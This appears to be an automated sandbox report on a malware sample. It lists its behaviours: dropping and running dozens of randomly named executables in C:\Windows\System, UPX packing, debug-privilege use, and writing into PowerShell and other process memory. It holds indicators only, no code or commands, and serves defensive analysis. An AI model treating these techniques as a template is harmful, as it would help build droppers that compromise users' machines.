Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Command and Scripting Interpreter: PowerShell

execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System\HsSsHuQ.exe	N/A
N/A	N/A	C:\Windows\System\HrfYQpf.exe	N/A
N/A	N/A	C:\Windows\System\lEynPLz.exe	N/A
N/A	N/A	C:\Windows\System\ryItSpg.exe	N/A
N/A	N/A	C:\Windows\System\YRBbaKo.exe	N/A
N/A	N/A	C:\Windows\System\ljXPvrE.exe	N/A
N/A	N/A	C:\Windows\System\QXsSNXe.exe	N/A
N/A	N/A	C:\Windows\System\KQVKgAD.exe	N/A
N/A	N/A	C:\Windows\System\aOaJeiz.exe	N/A
N/A	N/A	C:\Windows\System\VZIfjdG.exe	N/A
N/A	N/A	C:\Windows\System\yLBhEGN.exe	N/A
N/A	N/A	C:\Windows\System\PqcGTyJ.exe	N/A
N/A	N/A	C:\Windows\System\MHRoCYA.exe	N/A
N/A	N/A	C:\Windows\System\TmZOcPq.exe	N/A
N/A	N/A	C:\Windows\System\CsUYpYN.exe	N/A
N/A	N/A	C:\Windows\System\ZdiEpvC.exe	N/A
N/A	N/A	C:\Windows\System\dKOQUST.exe	N/A
N/A	N/A	C:\Windows\System\plWscbD.exe	N/A
N/A	N/A	C:\Windows\System\wznJsDE.exe	N/A
N/A	N/A	C:\Windows\System\Gytcwxd.exe	N/A
N/A	N/A	C:\Windows\System\zQjXjzJ.exe	N/A
N/A	N/A	C:\Windows\System\xwRDZSE.exe	N/A
N/A	N/A	C:\Windows\System\zlJSWvU.exe	N/A
N/A	N/A	C:\Windows\System\fiIDXbI.exe	N/A
N/A	N/A	C:\Windows\System\wNwKqPH.exe	N/A
N/A	N/A	C:\Windows\System\dWCsuYk.exe	N/A
N/A	N/A	C:\Windows\System\euRRlEq.exe	N/A
N/A	N/A	C:\Windows\System\oLNlKVM.exe	N/A
N/A	N/A	C:\Windows\System\uJwpwkb.exe	N/A
N/A	N/A	C:\Windows\System\fSiYnSW.exe	N/A
N/A	N/A	C:\Windows\System\dbHdvXn.exe	N/A
N/A	N/A	C:\Windows\System\JgTFkCF.exe	N/A
N/A	N/A	C:\Windows\System\zpZOfFF.exe	N/A
N/A	N/A	C:\Windows\System\HztUGxG.exe	N/A
N/A	N/A	C:\Windows\System\OuRuuDG.exe	N/A
N/A	N/A	C:\Windows\System\NlDDcSc.exe	N/A
N/A	N/A	C:\Windows\System\cqlhjxD.exe	N/A
N/A	N/A	C:\Windows\System\NsYkqyD.exe	N/A
N/A	N/A	C:\Windows\System\GTcytll.exe	N/A
N/A	N/A	C:\Windows\System\SuXQIvS.exe	N/A
N/A	N/A	C:\Windows\System\NGgrNsV.exe	N/A
N/A	N/A	C:\Windows\System\JKUXbmL.exe	N/A
N/A	N/A	C:\Windows\System\ToKQPwV.exe	N/A
N/A	N/A	C:\Windows\System\ElIpcJA.exe	N/A
N/A	N/A	C:\Windows\System\PXcmSUA.exe	N/A
N/A	N/A	C:\Windows\System\xWNJKCb.exe	N/A
N/A	N/A	C:\Windows\System\vnSKWrs.exe	N/A
N/A	N/A	C:\Windows\System\zmnRLYK.exe	N/A
N/A	N/A	C:\Windows\System\rqRRbTy.exe	N/A
N/A	N/A	C:\Windows\System\zAzZNtA.exe	N/A
N/A	N/A	C:\Windows\System\aOATpWH.exe	N/A
N/A	N/A	C:\Windows\System\YracEXP.exe	N/A
N/A	N/A	C:\Windows\System\QyySTYO.exe	N/A
N/A	N/A	C:\Windows\System\ArLGWGs.exe	N/A
N/A	N/A	C:\Windows\System\rIHsAmk.exe	N/A
N/A	N/A	C:\Windows\System\xYWMhtN.exe	N/A
N/A	N/A	C:\Windows\System\XFBXPZM.exe	N/A
N/A	N/A	C:\Windows\System\XZAWamx.exe	N/A
N/A	N/A	C:\Windows\System\EVVtmfE.exe	N/A
N/A	N/A	C:\Windows\System\GMMCMMH.exe	N/A
N/A	N/A	C:\Windows\System\aNFUgWm.exe	N/A
N/A	N/A	C:\Windows\System\BYpDIcb.exe	N/A
N/A	N/A	C:\Windows\System\VIWvsgh.exe	N/A
N/A	N/A	C:\Windows\System\TsvbRSp.exe	N/A

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A

UPX packed file

upx

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File created	C:\Windows\System\rrzkrrw.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\uyrULxo.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\iHZQuIu.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\glikFYn.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\JmBcIYo.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\MdNayqi.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\iBdZcyG.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\IAXlcYI.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\AnDnHap.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\VCrAHPz.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\YtHzqhd.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\nYeWwRk.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\PDvTpoW.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\DVaFOWT.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\IVdrcWf.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\sQOQaAP.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\OeKSZDT.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\XlJGCtW.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\yceKZBz.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\cmqmjMz.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\QzJuGJs.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\HCXeGIh.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\VpmTakl.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\JRKwnIM.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\vtAsjlR.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\WdSDhIW.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\xOkyjBR.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\OFiheIw.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ixYotOA.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\dMdrFoM.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\DWuGggF.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\mLWLjUn.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\sgRCGgJ.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ldBhYBJ.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\OTOqQFR.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\bNaHWmD.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\raQhyKG.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\LNcnkYm.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\aAeiPfO.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\gPBHOpi.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\zQjXjzJ.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\jukTcGP.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\AnmhRys.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\EzSmeAJ.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\OOLAxGA.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\pBhhtgi.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\AVGTZvX.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\grGRUSr.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\iZSTsPb.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\YyROHfd.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ciZBijY.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\kOHqUZY.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\FRZmPXN.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\CPNCaxP.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\yTwrHNi.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\wEcfJsl.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\gaKvlAm.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\OsrJxYI.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\YFIxyaq.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\LmLCPsC.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\gkNeHWa.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\PKGqWJq.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ETzQqhV.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\zUsbOtO.exe	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeLockMemoryPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
Token: SeLockMemoryPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 1804 wrote to memory of 2696	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1804 wrote to memory of 2696	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1804 wrote to memory of 2696	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1804 wrote to memory of 2096	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\HsSsHuQ.exe
PID 1804 wrote to memory of 2096	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\HsSsHuQ.exe
PID 1804 wrote to memory of 2096	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\HsSsHuQ.exe
PID 1804 wrote to memory of 2984	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\lEynPLz.exe
PID 1804 wrote to memory of 2984	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\lEynPLz.exe
PID 1804 wrote to memory of 2984	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\lEynPLz.exe
PID 1804 wrote to memory of 2016	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\HrfYQpf.exe
PID 1804 wrote to memory of 2016	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\HrfYQpf.exe
PID 1804 wrote to memory of 2016	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\HrfYQpf.exe
PID 1804 wrote to memory of 2976	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\ryItSpg.exe
PID 1804 wrote to memory of 2976	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\ryItSpg.exe
PID 1804 wrote to memory of 2976	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\ryItSpg.exe
PID 1804 wrote to memory of 2620	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\YRBbaKo.exe
PID 1804 wrote to memory of 2620	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\YRBbaKo.exe
PID 1804 wrote to memory of 2620	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\YRBbaKo.exe
PID 1804 wrote to memory of 2668	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\aOaJeiz.exe
